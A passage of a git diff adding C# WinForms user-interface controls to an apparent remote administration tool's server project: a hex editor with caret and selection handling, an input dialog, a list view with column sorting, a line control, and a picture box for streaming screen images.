ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder(pevent.Graphics, ClientRectangle, BorderColor, ButtonBorderStyle.Solid); + } + else + { + base.OnPaintBackground(pevent); + } + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + Region r = new Region(ClientRectangle); + r.Exclude(_recContent); + e.Graphics.ExcludeClip(r); + + UpdateVisibleByteIndex(); + + PaintLineCount(e.Graphics, _firstByte, _lastByte); + + _editView.Paint(e.Graphics, _firstByte, _lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush brush = new SolidBrush(ForeColor); + + for (int i = 0; ((i * _maxBytesH) + startIndex) <= lastIndex; i++) + { + RectangleF drawSurface = GetLineCountBound(i); + string lineCount = (startIndex + (i * _maxBytesH)).ToString(_lineCountCaps); + //Calculate how many '0' need to be added to the current count + int zeros = _nrCharsLineCount - lineCount.Length; + + string lineStr; + if (zeros > -1) + { + lineStr = new string('0', zeros) + lineCount; + } + else + { + lineStr = new string('~', _nrCharsLineCount); + } + g.DrawString(lineStr, Font, brush, drawSurface, _stringFormat); + } + } + + #endregion + + #region OnRezie + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + + UpdateRectanglePositioning(); + Invalidate(); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs new file mode 100644 index 0000000..cc57191 --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -0,0 +1,442 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class HexViewHandler + { + #region Fields + + bool _isEditing; + + /// + /// Contains info about how to + /// present the hex values + /// (Upper or Lower case) + /// + string _hexType = "X2"; + + /// + /// Contains the boundary for one single + /// hexa value that is visible + /// + Rectangle _recHexValue; + + /// + /// Contains the format of the hexadecimal + /// strings that are presented + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); } + } + + #endregion + + #region Constructor + + public HexViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region Method + + #region KeyMouseEvents + + #region KeyEvents + + public void OnKeyPress(KeyPressEventArgs e) + { + if (IsHex(e.KeyChar)) + HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + if (_isEditing) + { + //Remove the byte that is being edited + index = _editor.CaretIndex; + } + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + _isEditing = false; + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point position = GetCaretLocation(index); + + if (isShiftDown) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + + #endregion + + #region MouseEvent + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + _isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #endregion + + #region PaintMethod + + public void Update(int startPositionX, Rectangle area) + { + _recHexValue = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * 3), + (int)(_editor.CharSize.Height) - 2 + ); + + _recHexValue.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat); + } + + #endregion + + public void SetLowerCase() + { + _hexType = "x2"; + } + + public void SetUpperCase() + { + _hexType = "X2"; + } + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + //Perform overwrite + HandleUserRemove(); + + if (_isEditing) + { + //Editing has already started, should change the second nibble + _isEditing = false; + //Load old bytes to allow change + byte oldByte = _editor.GetByte(_editor.CaretIndex); + //Append the new nibble + oldByte += Convert.ToByte(key.ToString(), 16); + _editor.SetByte(_editor.CaretIndex, oldByte); + //Relocate the caret + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + + } + else + { + //Begin new edit phase + _isEditing = true; + string hexByte = key.ToString() + "0"; + byte newByte = Convert.ToByte(hexByte, 16); + + if (_editor.HexTable.Length <= 0) + { + _editor.AppendByte(newByte); + } + else + { + _editor.InsertByte(_editor.CaretIndex, newByte); + } + + //Relocate the caret to the middle of the hex value (provide illusion of editing the second value) + int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + _editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos)); + } + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recHexValue.X + (point.X * _recHexValue.Width), + _recHexValue.Y + (point.Y * _recHexValue.Height), + _recHexValue.Width, + _recHexValue.Height + ); + + return ret; + } + + private bool IsHex(char c) + { + return (c >= 'a' && c <= 'f') || + (c >= 'A' && c <= 'F') || + Char.IsDigit(c); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs new file mode 100644 index 0000000..7121208 --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,24 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public interface IKeyMouseEventHandler + { + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); + } +} diff --git a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs new file mode 100644 index 0000000..125e133 --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -0,0 +1,382 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class StringViewHandler + { + #region Field + + /// + /// Contains the boundary of + /// a single line + /// + Rectangle _recStringView; + + /// + /// Contains the format of the + /// string to be used in the + /// string view + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recStringView.X + _recStringView.Width; } + } + + #endregion + + #region Constructor + + public StringViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region KeyMouseEvents + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!Char.IsControl(e.KeyChar)) + { + HandleUserInput(e.KeyChar); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point newLocation = GetCaretLocation(index); + if (isShiftDown) + _editor.SetCaretEnd(index, newLocation); + else + _editor.SetCaretStart(index, newLocation); + } + + #endregion + + #region Mouse + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #region Focus + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #endregion + + #region Paint + + public void Update(int startPositionX, Rectangle area) + { + _recStringView = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * _editor.BytesPerLine), + (int)(_editor.CharSize.Height) - 2 + ); + + _recStringView.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawLocation = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine)); + int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + HandleUserRemove(); + + byte newByte = Convert.ToByte(key); + + if (_editor.HexTableLength <= 0) + _editor.AppendByte(newByte); + else + _editor.InsertByte(_editor.CaretIndex, newByte); + + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recStringView.X + (point.X * (int)_editor.CharSize.Width), + _recStringView.Y + (point.Y * _recStringView.Height), + _editor.CharSize.Width, + _recStringView.Height + ); + + return ret; + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs new file mode 100644 index 0000000..08df5b4 --- /dev/null +++ b/Quasar.Server/Controls/InputBox.cs @@ -0,0 +1,54 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public static class InputBox + { + public static DialogResult Show(string title, string promptText, ref string value) + { + DialogResult dialogResult = DialogResult.Cancel; + using (var form = new Form()) + { + Label label = new Label(); + TextBox textBox = new TextBox(); + Button buttonOk = new Button(); + Button buttonCancel = new Button(); + + form.Text = title; + label.Text = promptText; + textBox.Text = value; + + buttonOk.Text = "OK"; + buttonCancel.Text = "Cancel"; + buttonOk.DialogResult = DialogResult.OK; + buttonCancel.DialogResult = DialogResult.Cancel; + + label.SetBounds(9, 20, 372, 13); + textBox.SetBounds(12, 36, 372, 20); + buttonOk.SetBounds(228, 72, 75, 23); + buttonCancel.SetBounds(309, 72, 75, 23); + + label.AutoSize = true; + textBox.Anchor = textBox.Anchor | AnchorStyles.Right; + buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + + form.ClientSize = new Size(396, 107); + form.Controls.AddRange(new Control[] {label, textBox, buttonOk, buttonCancel}); + form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); + form.FormBorderStyle = FormBorderStyle.FixedDialog; + form.StartPosition = FormStartPosition.CenterScreen; + form.MinimizeBox = false; + form.MaximizeBox = false; + form.AcceptButton = buttonOk; + form.CancelButton = buttonCancel; + + dialogResult = form.ShowDialog(); + value = textBox.Text; + } + return dialogResult; + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs new file mode 100644 index 0000000..28aefa6 --- /dev/null +++ b/Quasar.Server/Controls/Line.cs @@ -0,0 +1,28 @@ +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class Line : Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + } +} diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs new file mode 100644 index 0000000..c773add --- /dev/null +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -0,0 +1,82 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + internal class AeroListView : ListView + { + private const uint WM_CHANGEUISTATE = 0x127; + + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); + + public ListViewColumnSorter LvwColumnSorter { get; set; } + + /// + /// Initializes a new instance of the class. + /// + public AeroListView() + { + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnHandleCreated(EventArgs e) + { + base.OnHandleCreated(e); + + if (PlatformHelper.RunningOnMono) return; + + if (PlatformHelper.VistaOrHigher) + { + // set window theme to explorer + NativeMethods.SetWindowTheme(this.Handle, "explorer", null); + } + + if (PlatformHelper.XpOrHigher) + { + // removes the ugly dotted line around focused item + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + + // Determine if clicked column is already the column that is being sorted. + if (e.Column == this.LvwColumnSorter.SortColumn) + { + // Reverse the current sort direction for this column. + this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) + ? SortOrder.Descending + : SortOrder.Ascending; + } + else + { + // Set the column number that is to be sorted; default to ascending. + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + + // Perform the sort with these new sort options. + if (!this.VirtualMode) + this.Sort(); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs new file mode 100644 index 0000000..8d05896 --- /dev/null +++ b/Quasar.Server/Controls/RapidPictureBox.cs @@ -0,0 +1,189 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Controls +{ + public interface IRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class RapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + public Image GetImageSafe + { + get + { + return Image; + } + set + { + lock (_imageLock) + { + Image = value; + } + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + lock (_imageLock) + { + // get old image to dispose it correctly + var oldImage = GetImageSafe; + + SuspendLayout(); + GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp; + ResumeLayout(); + + oldImage?.Dispose(); + } + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public RapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED + return cp; + } + } + + protected override void OnPaint(PaintEventArgs pe) + { + 